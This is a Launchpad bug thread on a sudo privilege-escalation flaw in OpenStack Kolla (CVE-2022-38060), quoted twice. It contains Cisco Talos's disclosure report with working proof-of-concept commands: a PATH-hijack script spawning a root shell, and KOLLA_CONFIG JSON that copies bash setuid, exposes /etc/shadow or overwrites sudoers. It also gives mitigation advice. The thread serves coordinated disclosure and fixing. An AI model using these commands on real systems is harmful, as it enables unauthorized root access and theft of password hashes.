kolla

Bug #1985784
Comment #3

Comment 3 for bug 1985784

Revision history for this message

Cisco Talos (ciscotalos) wrote on 2022-08-23: [Bug 1985784] Re: sudo privilege escalation vulnerability (CVE-2022-38060)

Yeah, the 2nd one is definitely a bit trickier. Assuming removing setenv is a viable partial solution for you, this should potentially mitigate it to some degree. You could also add filtering on the file modes the user is allowed to set as well as the destination and source paths allowed in the calls as this could also be used to read or write any number of files on the system to grant the user root access. I haven't tested either of these examples so I'm just basing it on my understanding of the issue. Also, notice that neither of these require the destination file to be suid so just filtering the permissions in the json wouldn't solve it. Also, notice that neither of these require the command to actually be executed and just that the files are copied into place.

# Read /etc/shadow
export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/etc/shadow", "dest":"/tmp/shadow", "owner":"root", "perm":"0o0644"}]}'

# Overwrite sudoers with something more useful for the user
export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/tmp/attacker.sudoers", "dest":"/etc/suders", "owner":"root", "perm":"0o0644"}]}'

>I have no idea how to tackle the 2nd method of exploitation at sudo
>level as it falls within the expected usage of that command. Assuming we
>set the secure_path, it seems possible to strengthen the set_configs
>script to: 1) disallow installing files in secure_path, 2) disallow
>setuid perm from being set. Please let me know if my analysis is correct
>and complete.
>
>** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-38060
>
>** Changed in: kolla
> Status: New => Triaged
>
>** Changed in: kolla
> Importance: Undecided => High
>
>** Changed in: kolla
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Also affects: kolla/xena
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/victoria
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/zed
> Importance: High
> Assignee: Radosław Piliszek (yoctozepto)
> Status: Triaged
>
>** Also affects: kolla/wallaby
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/ussuri
> Importance: Undecided
> Status: New
>
>** Also affects: kolla/yoga
> Importance: Undecided
> Status: New
>
>** Changed in: kolla/yoga
> Status: New => Triaged
>
>** Changed in: kolla/xena
> Status: New => Triaged
>
>** Changed in: kolla/wallaby
> Status: New => Triaged
>
>** Changed in: kolla/victoria
> Status: New => Triaged
>
>** Changed in: kolla/ussuri
> Status: New => Triaged
>
>** Changed in: kolla/yoga
> Importance: Undecided => High
>
>** Changed in: kolla/xena
> Importance: Undecided => High
>
>** Changed in: kolla/wallaby
> Importance: Undecided => High
>
>** Changed in: kolla/victoria
> Importance: Undecided => High
>
>** Changed in: kolla/ussuri
> Importance: Undecided => High
>
>** Changed in: kolla/yoga
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/xena
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/wallaby
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/victoria
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/ussuri
> Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Tags added: security
>
>** Tags added: sudo
>
>--
>You received this bug notification because you are subscribed to the bug
>report.
>https://bugs.launchpad.net/bugs/1985784
>
>Title:
> sudo privilege escalation vulnerability (CVE-2022-38060)
>
>Status in kolla:
> Triaged
>Status in kolla ussuri series:
> Triaged
>Status in kolla victoria series:
> Triaged
>Status in kolla wallaby series:
> Triaged
>Status in kolla xena series:
> Triaged
>Status in kolla yoga series:
> Triaged
>Status in kolla zed series:
> Triaged
>
>Bug description:
> [OpenStack's vulnerability managers received the following report via
> encrypted E-mail]
>
> ### Summary
>
> A privilege escalation vulnerability exists in the sudo functionality
> of OpenStack Kolla git master 05194e7618. A misconfiguration in
> /etc/sudoers within a container can lead increased privileges.
>
>
> ### Confirmed Vulnerable Versions
>
> The versions below were either tested or verified to be vulnerable by
> Talos or confirmed to be vulnerable by the vendor.
>
> OpenStack Kolla git master 05194e7618
>
>
> ### Product URLs
>
> Kolla - https://opendev.org/openstack/kolla
>
>
> ### CVSSv3 Score
>
> 8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
>
> ### CWE
>
> CWE-269 - Improper Privilege Management
>
>
> ### Details
>
> OpenStack Kolla provides container images and deployment tools for
> running OpenStack clouds with best practice configurations.
>
>
>
> Several Kolla containers have sudoers policy to allow the application to run limited commands as root, which appears to be defined [here](https://opendev.org/openstack/kolla/src/branch/master/docker/base/sudoers):
>
> Matching Defaults entries for nova on <host>:
> setenv
>
> User nova may run the following commands on <host>:
> (root) NOPASSWD: /usr/local/bin/kolla_copy_cacerts
> (root) NOPASSWD: /usr/local/bin/kolla_set_configs
> ...
>
> Of note is the `Defaults: %kolla setenv` line in /etc/sudoers. This
> allows users in the `kolla` group to modify environment variables, and
> there is no `secure_path` option that enforces a trusted PATH
> environment variable. Therefore, the unprivileged user (nova in this
> example) can change the PATH variable used by sudo, and run arbitrary
> commands as root when the Kolla scripts call external programs.
>
> Specifically, there are two Kolla-provided scripts that are
> exploitable via this sudoers configuration.
>
> The first script,
> [kolla_copy_cacerts](https://opendev.org/openstack/kolla/src/branch/master/docker/base/copy_cacerts.sh),
> calls out to the `update-ca-certificates` program, which is resolved
> from the PATH environment variable. This can be exploited by creating
> a script named "update-ca-certificates" in some writable location, and
> adding this location to the PATH before running `sudo -E
> kolla_copy_cacerts`.
>
> The second script,
> [kolla_set_configs](https://opendev.org/openstack/kolla/src/branch/master/docker/base/set_configs.py),
> reads an environment variable for a JSON object or a path to a file
> containing a JSON object. This JSON specifies the source, destination,
> ownership, and permissions for OpenStack configuration files to be
> copied. This can be exploited by exporting an environment variable
> that specifies a program to be copied with its SETUID bit set, and
> running `kolla_set_configs` with `sudo -E` as above.
>
> Some containers (e.g. nova_api) with this configuration are
> privileged, so in that case, root access inside the container may
> equate to root privilege on the container host itself.
>
>
> ### Exploit Proof of Concept
>
> ##### Method 1 (`kolla_copy_cacerts`)
>
> Observe current privilege level in container:
>
> $ id
> uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)
>
> Create a script payload that will be executed as root:
>
> $ echo -e '#!/bin/sh\nexec bash -p' > /tmp/update-ca-certificates
> $ chmod 755 /tmp/update-ca-certificates
>
> Update the shell's PATH environment variable to include the directory
> that the payload is in, and run the affected script with `sudo`:
>
> $ PATH=/tmp:$PATH sudo -E /usr/local/bin/kolla_copy_cacerts
> # id
> uid=0(root) gid=0(root) groups=0(root)
>
> ##### Method 2 (`kolla_set_configs`)
>
> Observe current privilege level in container:
>
> $ id
> uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)
>
> Create a JSON object to be parsed by the script and export it to the
> appropriate environment variable:
>
> $ export KOLLA_CONFIG='{"command":"echo test",
> "config_files":[{"source":"/bin/bash", "dest":"/tmp/bash",
> "owner":"root", "perm":"0o6755"}]}'
>
> Run the affected script with `sudo` and then execute the copied shell:
>
> $ sudo -E /usr/local/bin/kolla_set_configs
> $ /tmp/bash -p
> # id
> uid=0(root) gid=0(root) groups=0(root)
>
>
> ### Mitigation
>
> /etc/sudoers within the container should use the `secure_path` option
> to prevent the PATH environment variable from being modified; however
> this will not prevent other possibly dangerous environment variables
> from being changed. Ideally, the `setenv` option would be removed from
> /etc/sudoers altogether, and `env_keep` could be used for any safe
> environment variables that do not introduce security holes.
>
> To avoid container compromises resulting in host compromise, avoid
> using privileged containers; prefer adding individual capabilities as
> needed.
>
>
> ### Credit
>
> Keane O'Kelley and Brian Scott of Cisco ASIG
>
> https://talosintelligence.com/vulnerability_reports/
>
>To manage notifications about this bug go to:
>https://bugs.launchpad.net/kolla/+bug/1985784/+subscriptions

Yeah, the 2nd one is definitely a bit trickier.  Assuming removing setenv is a viable partial solution for you, this should potentially mitigate it to some degree.  You could also add filtering on the file modes the user is allowed to set as well as the destination and source paths allowed in the calls as this could also be used to read or write any number of files on the system to grant the user root access.   I haven't tested either of these examples so I'm just basing it on my understanding of the issue.  Also, notice that neither of these require the destination file to be suid so just filtering the permissions in the json wouldn't solve it.  Also, notice that neither of these require the command to actually be executed and just that the files are copied into place.

# Read /etc/shadow
export KOLLA_CONFIG='{"command":"echo test", "config_files":[{"source":"/etc/shadow", "dest":"/tmp/shadow", "owner":"root", "perm":"0o0644"}]}'

>I have no idea how to tackle the 2nd method of exploitation at sudo
>level as it falls within the expected usage of that command. Assuming we
>set the secure_path, it seems possible to strengthen the set_configs
>script to: 1) disallow installing files in secure_path, 2) disallow
>setuid perm from being set. Please let me know if my analysis is correct
>and complete.
>
>** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-38060
>
>** Changed in: kolla
>       Status: New => Triaged
>
>** Changed in: kolla
>   Importance: Undecided => High
>
>** Changed in: kolla
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Also affects: kolla/xena
>   Importance: Undecided
>       Status: New
>
>** Also affects: kolla/victoria
>   Importance: Undecided
>       Status: New
>
>** Also affects: kolla/zed
>   Importance: High
>     Assignee: Radosław Piliszek (yoctozepto)
>       Status: Triaged
>
>** Also affects: kolla/wallaby
>   Importance: Undecided
>       Status: New
>
>** Also affects: kolla/ussuri
>   Importance: Undecided
>       Status: New
>
>** Also affects: kolla/yoga
>   Importance: Undecided
>       Status: New
>
>** Changed in: kolla/yoga
>       Status: New => Triaged
>
>** Changed in: kolla/xena
>       Status: New => Triaged
>
>** Changed in: kolla/wallaby
>       Status: New => Triaged
>
>** Changed in: kolla/victoria
>       Status: New => Triaged
>
>** Changed in: kolla/ussuri
>       Status: New => Triaged
>
>** Changed in: kolla/yoga
>   Importance: Undecided => High
>
>** Changed in: kolla/xena
>   Importance: Undecided => High
>
>** Changed in: kolla/wallaby
>   Importance: Undecided => High
>
>** Changed in: kolla/victoria
>   Importance: Undecided => High
>
>** Changed in: kolla/ussuri
>   Importance: Undecided => High
>
>** Changed in: kolla/yoga
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/xena
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/wallaby
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/victoria
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Changed in: kolla/ussuri
>     Assignee: (unassigned) => Radosław Piliszek (yoctozepto)
>
>** Tags added: security
>
>** Tags added: sudo
>
>-- 
>You received this bug notification because you are subscribed to the bug
>report.
>https://bugs.launchpad.net/bugs/1985784
>
>Title:
>  sudo privilege escalation vulnerability (CVE-2022-38060)
>
>Status in kolla:
>  Triaged
>Status in kolla ussuri series:
>  Triaged
>Status in kolla victoria series:
>  Triaged
>Status in kolla wallaby series:
>  Triaged
>Status in kolla xena series:
>  Triaged
>Status in kolla yoga series:
>  Triaged
>Status in kolla zed series:
>  Triaged
>
>Bug description:
>  [OpenStack's vulnerability managers received the following report via
>  encrypted E-mail]
>
>  ### Summary
>
>  A privilege escalation vulnerability exists in the sudo functionality
>  of OpenStack Kolla git master 05194e7618. A misconfiguration in
>  /etc/sudoers within a container can lead increased privileges.
>
>  
>  ### Confirmed Vulnerable Versions
>
>  The versions below were either tested or verified to be vulnerable by
>  Talos or confirmed to be vulnerable by the vendor.
>
>  OpenStack Kolla git master 05194e7618
>
>  
>  ### Product URLs
>
>  Kolla - https://opendev.org/openstack/kolla
>
>  
>  ### CVSSv3 Score
>
>  8.8 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
>
>  ### CWE
>
>  CWE-269 - Improper Privilege Management
>
>  
>  ### Details
>
>  OpenStack Kolla provides container images and deployment tools for
>  running OpenStack clouds with best practice configurations.
>
>
>  
>  Several Kolla containers have sudoers policy to allow the application to run limited commands as root, which appears to be defined [here](https://opendev.org/openstack/kolla/src/branch/master/docker/base/sudoers):
>
>      Matching Defaults entries for nova on <host>:
>          setenv
>
>      User nova may run the following commands on <host>:
>          (root) NOPASSWD: /usr/local/bin/kolla_copy_cacerts
>          (root) NOPASSWD: /usr/local/bin/kolla_set_configs
>          ...
>
>  Of note is the `Defaults: %kolla setenv` line in /etc/sudoers. This
>  allows users in the `kolla` group to modify environment variables, and
>  there is no `secure_path` option that enforces a trusted PATH
>  environment variable. Therefore, the unprivileged user (nova in this
>  example) can change the PATH variable used by sudo, and run arbitrary
>  commands as root when the Kolla scripts call external programs.
>
>  Specifically, there are two Kolla-provided scripts that are
>  exploitable via this sudoers configuration.
>
>  The first script,
>  [kolla_copy_cacerts](https://opendev.org/openstack/kolla/src/branch/master/docker/base/copy_cacerts.sh),
>  calls out to the `update-ca-certificates` program, which is resolved
>  from the PATH environment variable. This can be exploited by creating
>  a script named "update-ca-certificates" in some writable location, and
>  adding this location to the PATH before running `sudo -E
>  kolla_copy_cacerts`.
>
>  The second script,
>  [kolla_set_configs](https://opendev.org/openstack/kolla/src/branch/master/docker/base/set_configs.py),
>  reads an environment variable for a JSON object or a path to a file
>  containing a JSON object. This JSON specifies the source, destination,
>  ownership, and permissions for OpenStack configuration files to be
>  copied. This can be exploited by exporting an environment variable
>  that specifies a program to be copied with its SETUID bit set, and
>  running `kolla_set_configs` with `sudo -E` as above.
>
>  Some containers (e.g. nova_api) with this configuration are
>  privileged, so in that case, root access inside the container may
>  equate to root privilege on the container host itself.
>
>  
>  ### Exploit Proof of Concept
>
>  ##### Method 1 (`kolla_copy_cacerts`)
>
>  Observe current privilege level in container:
>
>      $ id
>      uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)
>
>  Create a script payload that will be executed as root:
>
>      $ echo -e '#!/bin/sh\nexec bash -p' > /tmp/update-ca-certificates
>      $ chmod 755 /tmp/update-ca-certificates
>
>  Update the shell's PATH environment variable to include the directory
>  that the payload is in, and run the affected script with `sudo`:
>
>      $ PATH=/tmp:$PATH sudo -E /usr/local/bin/kolla_copy_cacerts
>      # id
>      uid=0(root) gid=0(root) groups=0(root)
>      
>  ##### Method 2 (`kolla_set_configs`)
>
>  Observe current privilege level in container:
>
>      $ id
>      uid=42436(nova) gid=42436(nova) groups=42437(nova),42400(kolla),42427(qemu)
>
>  Create a JSON object to be parsed by the script and export it to the
>  appropriate environment variable:
>
>      $ export KOLLA_CONFIG='{"command":"echo test",
>  "config_files":[{"source":"/bin/bash", "dest":"/tmp/bash",
>  "owner":"root", "perm":"0o6755"}]}'
>
>  Run the affected script with `sudo` and then execute the copied shell:
>
>      $ sudo -E /usr/local/bin/kolla_set_configs
>      $ /tmp/bash -p
>      # id
>      uid=0(root) gid=0(root) groups=0(root)
>
>
>  ### Mitigation
>
>  /etc/sudoers within the container should use the `secure_path` option
>  to prevent the PATH environment variable from being modified; however
>  this will not prevent other possibly dangerous environment variables
>  from being changed. Ideally, the `setenv` option would be removed from
>  /etc/sudoers altogether, and `env_keep` could be used for any safe
>  environment variables that do not introduce security holes.
>
>  To avoid container compromises resulting in host compromise, avoid
>  using privileged containers; prefer adding individual capabilities as
>  needed.
>
>
>  ### Credit
>
>     Keane O'Kelley and Brian Scott of Cisco ASIG
>
>  https://talosintelligence.com/vulnerability_reports/
>
>To manage notifications about this bug go to:
>https://bugs.launchpad.net/kolla/+bug/1985784/+subscriptions